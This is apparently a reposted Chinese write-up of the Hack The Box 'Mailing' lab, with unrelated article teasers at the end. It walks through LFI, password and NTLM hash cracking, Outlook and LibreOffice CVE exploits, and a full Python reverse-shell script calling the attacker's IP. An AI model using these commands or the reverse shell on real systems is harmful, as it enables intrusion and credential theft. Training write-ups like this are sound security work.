Windows/Mailing

news2025/1/21 15:32:38

Mailing

Enumeration

nmap

使用 nmap 扫描系统，发现对外开放了如下端口

┌──(kali㉿kali)-[~/vegetable/HTB]
└─$ nmap -sC -sV -oA nmap 10.10.11.14
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-08 01:46 EDT
Nmap scan report for 10.10.11.14
Host is up (0.73s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
25/tcp  open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open  pop3          hMailServer pop3d
|_pop3-capabilities: UIDL TOP USER
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp open  imap          hMailServer imapd
|_imap-capabilities: IMAP4rev1 RIGHTS=texkA0001 SORT ACL CHILDREN completed QUOTA CAPABILITY NAMESPACE IDLE OK IMAP4
445/tcp open  microsoft-ds?
465/tcp open  ssl/smtp      hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
587/tcp open  smtp          hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp open  ssl/imap      hMailServer imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -4m55s
| smb2-time: 
|   date: 2024-05-08T05:45:50
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 318.66 seconds
  • 25/tcp：SMTP 服务，使用 hMailServer smtpd。
  • 80/tcp：HTTP 服务，使用 Microsoft IIS httpd 10.0。
  • 110/tcp：POP3 服务，使用 hMailServer pop3d。
  • 135/tcp：MSRPC，Microsoft Windows RPC。
  • 139/tcp：NetBIOS 会话服务。
  • 143/tcp：IMAP 服务，使用 hMailServer imapd。
  • 445/tcp：Microsoft-DS，可能代表 Windows 活动目录服务。
  • 465/tcp：SSL/SMTP，使用 hMailServer smtpd。
  • 587/tcp：SMTP，使用 hMailServer smtpd。
  • 993/tcp：SSL/IMAP，使用 hMailServer imapd

80 端口运行着 iis 服务，老规矩，将 mailing.htb 添加到 /etc/hosts 中

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing]
└─$ echo '10.10.11.14 mailing.htb' | sudo tee -a /etc/hosts
[sudo] password for kali: 
10.10.11.14 mailing.htb

TCP/80

访问 Web 程序，看到内容中有一段 Powered by hMailServer

Exploitation

CVE-2024-21413&LFI

搜索 hMailServer 漏洞第一条是下面的远程代码执行漏洞分析，点进去发现确实和 hMailServer 有关系

因此进一步搜索 CVE-2024-21413，发现了下面的内容，是与漏洞有关的 PoC，写的很详细

xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability: Microsoft-Outlook-Remote-Code-Execution-Vulnerability (github.com)

在 usage 中发现需要用户名和密码，所以暂时没有什么办法，先放下

继续探索 Web 页面，在最下方点击 Download Instructions 会下载一个 pdf 文档

在 BurpSuite 看到请求包，是一个 get 请求，php?file= 的结构很像文件包含，简单尝试确实可行，能够任意读取文件

打开下载好的 pdf 文档，也是有关于邮箱服务连接的一些内容

在网上搜索 hMailServer 的配置文件目录，在文章使用hMailServer搭建邮件服务器 - 追你追到 - 博客园 (cnblogs.com)中找到下列内容

利用文件包含漏洞，读取到配置文件，其中有用户名及密码等关键词

密码看起来像是 md5，随便找个 md5 解密网站，破解得到密码

有了用户名和密码，可以利用刚才找到的漏洞，首先克隆至本地

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing]
└─$ git clone https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability.git   
Cloning into 'CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability'...
remote: Enumerating objects: 28, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 28 (delta 7), reused 6 (delta 0), pack-reused 0
Receiving objects: 100% (28/28), 14.48 KiB | 50.00 KiB/s, done.
Resolving deltas: 100% (7/7), done.

按照 github 中给出的 usage 来利用漏洞，首先需要设置一个监听端，然后执行下列命令

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability]
└─$ python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.14.14\PoC' --subject "Hello world"


CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de                                                                                                              

✅ Email sent successfully.

执行完成后，显示邮件发送成功，在监听端收到了下列内容

┌──(kali㉿kali)-[~]
└─$ sudo impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.14,52958)
[*] AUTHENTICATE_MESSAGE (MAILING\maya,MAILING)
[*] User MAILING\maya authenticated successfully
[*] maya::MAILING:aaaaaaaaaaaaaaaa:6ac02fdaa9b96726c89faa1a8c8a3f68:010100000000000080b39ef91aa1da018b9349be0513b9e0000000000100100068007a0071004e00730067006a006f000300100068007a0071004e00730067006a006f000200100070004e00490048006700640074004e000400100070004e00490048006700640074004e000700080080b39ef91aa1da01060004000200000008003000300000000000000000000000002000003f73db1c09567c87204f840ffd5b756f44d8fe8df64e4df88cb567b509c393f60a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310034000000000000000000
[*] Connecting Share(1:IPC$)
[-] SMB2_TREE_CONNECT not found PoC!poc
[-] SMB2_TREE_CONNECT not found PoC!poc
[*] Incoming connection (10.10.11.14,52963)
[*] AUTHENTICATE_MESSAGE (MAILING\maya,MAILING)

设置 5600 模式，然后用 hashcat 暴力破解，得到一组用户名和密码

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing]
└─$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --show
MAYA::MAILING:aaaaaaaaaaaaaaaa:6ac02fdaa9b96726c89faa1a8c8a3f68:010100000000000080b39ef91aa1da018b9349be0513b9e0000000000100100068007a0071004e00730067006a006f000300100068007a0071004e00730067006a006f000200100070004e00490048006700640074004e000400100070004e00490048006700640074004e000700080080b39ef91aa1da01060004000200000008003000300000000000000000000000002000003f73db1c09567c87204f840ffd5b756f44d8fe8df64e4df88cb567b509c393f60a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310034000000000000000000:m4y4ngs4ri

可以利用该用户名和密码远程登录系统

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing]
└─$ evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri



Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\maya\Documents>

Privilege Escalation

提权部分的内容参考了文章Hack The Box-Mailing-CSDN博客

在当前目录下可以发现 mail.py 和 mail.vbs 两个文件

*Evil-WinRM* PS C:\Users\maya\Documents> dir


    Directory: C:\Users\maya\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         3/13/2024   4:49 PM                WindowsPowerShell
-a----         4/11/2024   1:24 AM            807 mail.py
-a----         3/14/2024   4:30 PM            557 mail.vbs

该 python 脚本使用了 pywinauto 库来自动化 Windows 操作系统中的邮件客户端，即自动化处理邮件

*Evil-WinRM* PS C:\Users\maya\Documents> type mail.py
from pywinauto.application import Application
from pywinauto import Desktop
from pywinauto.keyboard import send_keys
from time import sleep

app = Application(backend="uia").connect(title_re="Inbox*")
dlg = app.top_window()
current_count = 0
remove = 2
while True:
        try:
                unread = dlg.InboxListBox
                items = unread.item_count()
                if items==1:
                        sleep(20)
                        continue
                if items != current_count:
                        for i in range(1,items-current_count-(remove-1)):
                                if "Yesterday" in unread.texts()[i][0]:
                                        remove = 3
                                        continue
                                unread[i].select()
                                message = dlg.child_window(auto_id="RootFocusControl", control_type="Document").Hyperlink.invoke()
                                sleep(45)
                                dlg.type_keys("{ENTER}")
                                unread[i].select()
                        current_count = items - remove
                sleep(20)
        except:
                pass

再该目录下找到一个 powershell 脚本，其作用为打开指定目录下的所有 .odt 文件（开放文本文件扩展名）

*Evil-WinRM* PS C:\Program Files\LibreOffice\program> type soffice.ps1
# Set the directory where the .odt files are located
$directory = "C:\Users\Public\Documents"

# Get all files with .odt extension in the specified directory
$files = Get-ChildItem -Path $directory -Filter *.odt

# Loop through each .odt file and open it
foreach ($file in $files) {
    Start-Process $file.FullName
}

可以看到 LibreOffice 的版本是 7.4

*Evil-WinRM* PS C:\Program Files\LibreOffice\readmes> type readme_es.txt


======================================================================

Léame de LibreOffice 7.4

======================================================================

搜索发现该版本存在漏洞，详情请参考CVE-2023-2255 （英语） |LibreOffice - 免费办公套件 - 基于OpenOffice - 与Microsoft兼容

先将利用脚本下载下来

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing]
└─$ git clone https://github.com/elweth-sec/CVE-2023-2255.git
Cloning into 'CVE-2023-2255'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (10/10), 8.47 KiB | 2.12 MiB/s, done.
Resolving deltas: 100% (2/2), done.

查看 important documents 文件夹的访问控制列表

*Evil-WinRM* PS C:\> icacls "important documents"
important documents MAILING\maya:(OI)(CI)(M)
                    BUILTIN\Administradores:(I)(OI)(CI)(F)
                    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                    BUILTIN\Usuarios:(I)(OI)(CI)(RX)
                    NT AUTHORITY\Usuarios autentificados:(I)(M)
                    NT AUTHORITY\Usuarios autentificados:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

在 kali 本地使用 exp 脚本生成一个 .odt 文件，猜测 cmd 内容应该是系统执行 .odt 文件后会执行的命令

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing/CVE-2023-2255]
└─$ python3 CVE-2023-2255.py --cmd "python C:\Users\maya\Desktop\shell.py" --output 'exploit.odt'

File exploit.odt has been created !

shell.py 是一个反弹 shell 的脚本，需要修改其中的 ip 地址和端口号

┌──(kali㉿kali)-[~/vegetable/HTB/Mailing/CVE-2023-2255]
└─$ cat shell.py 
#shell.py
import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.14",9100))

p=subprocess.Popen(["cmd"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

将 shell.py 下载到 /Users/maya/Desktop 目录中，要注意这个路径需要跟刚才生成 .odt 文件时写的路径保持一致

*Evil-WinRM* PS C:\Users\maya\Desktop> curl http://10.10.14.14:8000/shell.py -o shell.py
*Evil-WinRM* PS C:\Users\maya\Desktop> dir


    Directory: C:\Users\maya\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/28/2024   7:34 PM           2350 Microsoft Edge.lnk
-a----          5/8/2024  12:30 PM              0 shell.exe
-a----          5/9/2024   4:36 AM            705 shell.py
-ar---          5/8/2024  11:11 AM             34 user.txt

首先在 kali 中开启监听，监听 9100 端口，然后将生成的 exploit.odt 文件上传至 C:/important document 目录

*Evil-WinRM* PS C:\important documents> curl http://10.10.14.14:8001/exploit.odt -o exploit.odt

等待一段时间后就收到一个 shell，如下所示，可以在桌面找到 flag

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 9100
listening on [any] 9100 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.14] 54623
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\LibreOffice\program>whoami
whoami
mailing\localadmin

C:\Users\localadmin\Desktop>type root.txt
type root.txt
8aab51694682cd4d7bf4735cd86a8592

参考链接：

xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability: Microsoft-Outlook-Remote-Code-Execution-Vulnerability (github.com)

使用hMailServer搭建邮件服务器 - 追你追到 - 博客园 (cnblogs.com)

CVE-2023-2255 （英语） |LibreOffice - 免费办公套件 - 基于OpenOffice - 与Microsoft兼容

WindowsHack The Box-Mailing-CSDN博客

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1673825.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

软件各阶段资料（需求设计，系统架构，开发文档，测试文档，运维阶段的部署维护文档，概要设计，详细设计）

软件各阶段资料（需求设计，系统架构，开发文档，测试文档，运维阶段的部署维护文档，概要设计，详细设计）

一、 引言 （一） 编写目的 （二） 范围 （三） 文档约定 （四） 术语 二、 项目概要 （一） 建设背景 （二） 建设目标 （三&#xff0…
阅读更多...
linux上用Jmter进行压测

linux上用Jmter进行压测

在上一篇中安装好了Jmeter环境，在这一篇中将主要分享如何使用jmeter在linux中进行单机压测。 1.项目部署 在这里我们先简单部署一下测试环境，所用到的项目环境是个jar包，先在linux上home目录下新建app目录，然后通过rz命令将项目ja…
阅读更多...
一些近来对内网攻防的思考

一些近来对内网攻防的思考

我知道我最近托更托了很久了，其实也不是小编懒啊 这小编也是一直在写，但是遇到的问题比较多（我太菜了），所以一直拖着。 但是总不能不更吧 那就讲一下进来的一些内网攻防的思考吧 1.CrossC2上线Linux到CS(成功) …
阅读更多...
程序设计文档—软件分析报告（Word）

程序设计文档—软件分析报告（Word）

第3章 技术要求 3.1 软件开发要求 第4章 项目建设内容 第5章 系统安全需求 5.1 物理设计安全 5.2 系统安全设计 5.3 网络安全设计 5.4 应用安全设计 5.5 对用户安全管理 5.6 其他信息安全措施 第6章 其他非功能需求 6.1 性能设计 6.2 稳定性设计 6.3 安全性设计 6.4 兼容性设计…
阅读更多...
DriveWorld：通过自动驾驶世界模型进行 4D 预训练场景理解

DriveWorld：通过自动驾驶世界模型进行 4D 预训练场景理解

24年5月北大论文“DriveWorld: 4D Pre-trained Scene Understanding via World Models for Autonomous Driving”。 近年来，以视觉为中心的自动驾驶因其较低的成本而受到广泛关注。预训练对于提取通用表示至关重要。然而，当前以视觉为中心的预训练通常依…
阅读更多...
【Linux】进程信号(2万字)

【Linux】进程信号(2万字)

目录 前言 一、生活角度的信号 1.1、我们来见一见信号： 1.2、模拟一下 kill 指令 二、信号的处理 三、产生信号的5种方法 3.1、kill命令 3.2、键盘可以产生信号 3.3、3种系统调用 3.4、软件条件 3.5、异常 四、比较 core 和 Term 五、键盘信号产生 六…
阅读更多...
Docker安装、使用及常用命令

Docker安装、使用及常用命令

一、Docker是什么？ Docker是一种开源的容器化技术，允许开发者将应用及其运行环境打包在一个轻量级、可移植的容器中。这样，不论在开发、测试还是生产环境中，应用都能在任何Docker支持的平台上无缝运行。Docker使用Dockerfile来自…
阅读更多...
人形机器人场景应用全解析，2024睿抗 AI ROBOT创新挑战赛火热报名中！

人形机器人场景应用全解析，2024睿抗 AI ROBOT创新挑战赛火热报名中！

人工智能（AI）已成为推动科技革命和产业变革的关键力量。随着大模型等AIGC技术的迅猛发展，AI正深刻改变我们的生活并重新定义生产方式。越来越多人期望将AI技术从纯粹的思维和计算扩展到与物理世界的互动中，即发展具身智能。 为了推…
阅读更多...
网络库-libcurl介绍

网络库-libcurl介绍

1.简介 libcurl 是一个功能强大的库，支持多种协议，用于数据传输。它广泛应用于实现网络操作，如HTTP、HTTPS、FTP、FTPS、SCP、SFTP等。libcurl 提供了丰富的 API，可以在多种编程语言中使用。 libcurl 主要特点 支持多种协议&am…
阅读更多...
812寸硅片为什么没有平边（flat）？

812寸硅片为什么没有平边（flat）？

知识星球（星球名：芯片制造与封测社区，星球号：63559049）里的学员问：上期种说2，4，6寸硅片都有平边，那为什么8&12寸硅片只有一个notch？为什么不能像小尺寸晶…
阅读更多...
抖店商家选品误区，看你中了几条？

抖店商家选品误区，看你中了几条？

我是王路飞。 作为抖店的核心，选品的重要性自然不言而喻。 你跟达人沟通的重点是产品，与厂家沟通的重点也是产品，产品不行，一切都白搭。 然而很多新手商家刚开始做抖店的时候，总是选不到比较好的品。 今天给你们总…
阅读更多...
「51媒体」邀请媒体参会报道和媒体发稿有啥不同

「51媒体」邀请媒体参会报道和媒体发稿有啥不同

传媒如春雨，润物细无声，大家好，我是51媒体网胡老师。 媒体参会报道和媒体发稿是新闻报道的两种不同形式，它们的主要区别在于内容来源、报道方式和目的。 内容来源： 媒体参会报道：通常指的是记者或媒体代…
阅读更多...
STM32：EXTI—外部中断的初始化

STM32：EXTI—外部中断的初始化

文章目录 1、中断1.2 中断系统1.3 中断执行流程 2、STM32中断2.2EXTI（外部中断）2.3 EXTI 的基本结构2.4 AFIO复用IO口 3、NVIC基本结构3.2 NVIC优先级分组 4、配置EXTI4.2 AFIO 库函数4.3 EXTI 库函数4.4 NVIC 库函数4.5 配置EXTI的步骤4.6 初始化EXTI 1…
阅读更多...
工作中使用IDEA查看Stream变化

工作中使用IDEA查看Stream变化

工作中使用IDEA查看stream变化 代码debug调试 代码 package com.demo;import java.util.stream.LongStream;public class LamdaDemo {public static void main(String[] args) {long[] dataResult LongStream.of(1,5,7,9).filter(data -> data > 10).map(data -> da…
阅读更多...
答辩PPT设计太耗时？aippt工具，AI一站式服务

答辩PPT设计太耗时？aippt工具，AI一站式服务

这些网站我愿称之为制作答辩PPT的神！ 很多快要毕业的同学在做答辩PPT的时候总是感觉毫无思路，一窍不通。但这并不是你们的错，对于平时没接触过相关方面，第一次搞答辩PPT的人来说，这是很正常的一件事。一个好的答辩PPT…
阅读更多...
无线领夹麦克风怎么挑选？无线麦克风怎么用？主流机型推荐必看

无线领夹麦克风怎么挑选？无线麦克风怎么用？主流机型推荐必看

​在短视频与直播盛行的当下，一款优质的麦克风无疑是提升作品音质的得力助手，让你的创作更具质感。作为一名短视频博主，我在拍摄和直播的过程中也积累了不少使用麦克风的经验，深知哪些无线麦克风既好用又价格亲民。接下来&#xf…
阅读更多...
【MinGW】MinGW-w64的安装及配置教程

【MinGW】MinGW-w64的安装及配置教程

目录 🌞1. MinGW简介 🌞2. MinGW安装详情 🌊2.1 资源包获取 🌊2.2 安装详情 🌞1. MinGW简介 MinGW (Minimalist GNU for Windows) 是一个在 Windows 平台上开发软件的开发工具集合。它提供一组用于编译 Windows 应…
阅读更多...
Python自动化SQL注入和数据库取证工具库之sqlmap使用详解

Python自动化SQL注入和数据库取证工具库之sqlmap使用详解

概要 在网络安全领域，SQL注入仍然是最常见的攻击之一。sqlmap是一个开源的自动化SQL注入和数据库取证工具，它提供了广泛的功能来检测和利用SQL注入漏洞。本文将详细介绍sqlmap的安装、特性、基本与高级功能，并结合实际应用场景，展示其在网络安全测试中的应用。 安装 sqlm…
阅读更多...
便签字号怎么改 便签字体大小调节方法

便签字号怎么改 便签字体大小调节方法

在日常工作和生活中，便签是我形影不离的助手。每当灵感闪现或是有待办事项时，我都会随手记录在便签上，它就像我生活中的记事本，帮助我安排生活和工作。 然而，每个人都有不同的视觉需求和阅读习惯，对于便签…
阅读更多...
设计说明-行为型-状态模式-State

设计说明-行为型-状态模式-State

状态接口 public interface State {//状态接口void insertQuarter();//投币void ejectQuarter();//退币void turnCrank();//按下“出纸巾”按钮void dispense();//出纸巾 } 有纸巾类 public class HasQuarterState implements State {private TissueMachine tissueMachine;O…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023